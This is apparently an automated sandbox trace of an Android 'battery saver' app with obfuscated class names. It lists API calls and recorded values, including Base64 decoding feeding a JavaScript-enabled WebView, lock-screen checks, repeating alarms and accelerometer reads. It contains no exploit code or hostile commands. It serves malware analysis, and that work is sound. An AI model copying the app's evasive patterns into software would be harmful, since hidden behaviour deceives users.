          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:85 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:93 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:102 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:110 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:118 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:127 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:135 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.d:144 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.d:152 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.d:160 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.d:168 Show source
          API: android.content.Context->getSystemService at com.saver.batterymobi.lkj.a.c.c:3 Show source
          API: android.app.KeyguardManager->inKeyguardRestrictedInputMode at com.saver.batterymobi.lkj.a.c.c:7 Show source
          API: android.content.Intent-><init> at com.saver.batterymobi.lkj.a.c.a:3 Show source
          API: android.content.Intent->setAction at com.saver.batterymobi.lkj.a.c.a:5 Show source
          API: android.app.PendingIntent->getBroadcast at com.saver.batterymobi.lkj.a.c.a:8 Show source
          API: java.lang.System->currentTimeMillis at com.saver.batterymobi.lkj.a.c.a:19 Show source
          API: android.app.AlarmManager->setRepeating at com.saver.batterymobi.lkj.a.c.a:25 Show source
          API: java.lang.Exception->printStackTrace at com.saver.batterymobi.lkj.a.c.a:29 Show source
          API: android.content.Context->getSharedPreferences at com.saver.batterymobi.lkj.a.c.a:8 Show source
          API: android.content.SharedPreferences->edit at com.saver.batterymobi.lkj.a.c.a:11 Show source
          API: android.content.SharedPreferences$Editor->putString at com.saver.batterymobi.lkj.a.c.a:14 Show source
          API: android.content.SharedPreferences$Editor->commit at com.saver.batterymobi.lkj.a.c.a:16 Show source
          API: android.app.Activity->onKeyDown at com.saver.batterymobi.lkj.zxs.drg.onKeyDown:3 Show source
          API: android.app.Activity->onCreate at com.saver.batterymobi.lkj.zxs.drg.onCreate:1 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.zxs.drg.onCreate:8 Show source
          API: android.util.Base64->decode at com.saver.batterymobi.lkj.zxs.drg.onCreate:19 Show source
          API: java.lang.String-><init> at com.saver.batterymobi.lkj.zxs.drg.onCreate:25 Show source
          API: android.webkit.WebView-><init> at com.saver.batterymobi.lkj.zxs.drg.onCreate:29 Show source
          API: android.webkit.WebView->getSettings at com.saver.batterymobi.lkj.zxs.drg.onCreate:31 Show source
          API: android.webkit.WebSettings->setJavaScriptEnabled at com.saver.batterymobi.lkj.zxs.drg.onCreate:35 Show source
          API: android.app.Activity->onCreate at com.saver.batterymobi.lkj.zxs.frw.onCreate:1 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.zxs.frw.onCreate:13 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.zxs.frw.onCreate:17 Show source
          API: com.saver.batterymobi.lkj.zxs.frw->getPackageName at com.saver.batterymobi.lkj.zxs.frw.onCreate:19 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.zxs.frw.onCreate:22 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.zxs.frw.onCreate:24 Show source
          API: android.net.Uri->parse at com.saver.batterymobi.lkj.zxs.frw.onCreate:27 Show source
          API: android.content.Intent-><init> at com.saver.batterymobi.lkj.zxs.frw.onCreate:30 Show source
          API: android.content.Intent->addFlags at com.saver.batterymobi.lkj.zxs.frw.onCreate:33 Show source
          API: android.content.Intent->addFlags at com.saver.batterymobi.lkj.zxs.frw.onCreate:36 Show source
          API: com.saver.batterymobi.lkj.zxs.frw->startActivity at com.saver.batterymobi.lkj.zxs.frw.onCreate:38 Show source
          API: com.saver.batterymobi.lkj.zxs.frw->finish at com.saver.batterymobi.lkj.zxs.frw.onCreate:40 Show source
          API: android.app.Activity-><init> at com.saver.batterymobi.lkj.zxs.frw.<init>:1 Show source
          Method: com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          Method: com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          Method: com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          Method: com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          Method: com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          Method: com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          Method: com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          Method: com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          Method: com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuenull
          • toString: null
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: initialization
          p1null
          • toString: null
          NameTypeValue
          Return Valuenull
          • toString: null
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: min
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 27
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 1
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: min
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 27
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 1
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: min
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 27
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: vector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: vector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: path
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: path
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: vector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: vector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: path
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: path
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: layer-list
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: selector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: selector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: selector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: selector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: selector
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.String
          • toString: item
          Method: com.saver.batterymobi.MainActivity$2.onClick:95 Show source
          Method: com.saver.batterymobi.MainActivity$2.onClick:148 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:99 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:109 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:85 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:98 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:110 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:120 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:133 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:145 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:167 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:206 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:298 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:306 Show source
          Method: com.saver.batterymobi.MainActivity.onCreate:134 Show source
          Method: com.saver.batterymobi.MainActivity.onCreate:167 Show source
          Method: com.saver.batterymobi.lkj.zxs.frw.onCreate:30 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:101 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:161 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:175 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:195 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:215 Show source
          Method: com.saver.batterymobi.lkj.a.c.c:16 Show source
          Method: com.saver.batterymobi.lkj.a.c.c:33 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.onCreate:15 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1null
          • toString: null
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onStartCommand:13 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165190
          NameTypeValue
          Return Valueandroid.support.v7.widget.Toolbar
          • toString: android.support.v7.widget.Toolbar{3fbbf79b V.E..... ......I. 0,0-0,0 #7f070006 app:id/action_bar}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165198
          NameTypeValue
          Return Valueandroid.support.v7.widget.ActionBarContextView
          • toString: android.support.v7.widget.ActionBarContextView{30fde311 G.E..... ......I. 0,0-0,0 #7f07000e app:id/action_context_bar}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165191
          NameTypeValue
          Return Valueandroid.support.v7.widget.ContentFrameLayout
          • toString: android.support.v7.widget.ContentFrameLayout{1c932ee4 V.E..... ......I. 0,0-0,0 #7f070007 app:id/action_bar_activity_content}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165192
          NameTypeValue
          Return Valueandroid.support.v7.widget.ActionBarContainer
          • toString: android.support.v7.widget.ActionBarContainer{2307b295 V.ED.... ......I. 0,0-0,0 #7f070008 app:id/action_bar_container}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165190
          NameTypeValue
          Return Valueandroid.support.v7.widget.Toolbar
          • toString: android.support.v7.widget.Toolbar{3fbbf79b V.E..... ......I. 0,0-0,0 #7f070006 app:id/action_bar}
          Method: com.saver.batterymobi.MainActivity.onCreate:4 Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 16908290
          NameTypeValue
          Return Valueandroid.support.v7.widget.ContentFrameLayout
          • toString: android.support.v7.widget.ContentFrameLayout{1c932ee4 V.E..... ......I. 0,0-0,0 #7f070007 app:id/action_bar_activity_content}
          Method: com.saver.batterymobi.MainActivity.onCreate:4 Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 16908290
          NameTypeValue
          Return Valueandroid.support.v7.widget.ContentFrameLayout
          • toString: android.support.v7.widget.ContentFrameLayout{1c932ee4 V.E..... ......I. 0,0-0,0 #7f070007 app:id/action_bar_activity_content}
          Method: ..: Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class android.support.v7.widget.ActionBarOverlayLayout
          • getName: android.support.v7.widget.ActionBarOverlayLayout
          Method: ..: Show source
          NameTypeValue
          Return Valuenull
          • toString: null
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165233
          NameTypeValue
          Return Valueandroid.support.v7.widget.ActionBarOverlayLayout
          • toString: android.support.v7.widget.ActionBarOverlayLayout{276f0c76 V.E..... ......I. 0,0-0,0 #7f070031 app:id/decor_content_parent}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165190
          NameTypeValue
          Return Valueandroid.support.v7.widget.Toolbar
          • toString: android.support.v7.widget.Toolbar{3fbbf79b V.E..... ......I. 0,0-0,0 #7f070006 app:id/action_bar}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165198
          NameTypeValue
          Return Valueandroid.support.v7.widget.ActionBarContextView
          • toString: android.support.v7.widget.ActionBarContextView{30fde311 G.E..... ......I. 0,0-0,0 #7f07000e app:id/action_context_bar}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 2131165192
          NameTypeValue
          Return Valueandroid.support.v7.widget.ActionBarContainer
          • toString: android.support.v7.widget.ActionBarContainer{2307b295 V.ED.... ......I. 0,0-0,0 #7f070008 app:id/action_bar_container}
          Method: ..: Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 16908290
          NameTypeValue
          Return Valueandroid.support.v7.widget.ContentFrameLayout
          • toString: android.support.v7.widget.ContentFrameLayout{1c932ee4 V.E..... ......I. 0,0-0,0 #7f070007 app:id/action_bar_activity_content}
          Method: com.saver.batterymobi.MainActivity.onCreate:4 Show source
          NameTypeValue
          p0android.support.v7.widget.ActionBarOverlayLayout
          • toString: android.support.v7.widget.ActionBarOverlayLayout{276f0c76 V.E..... ......I. 0,0-0,0 #7f070031 app:id/decor_content_parent}
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
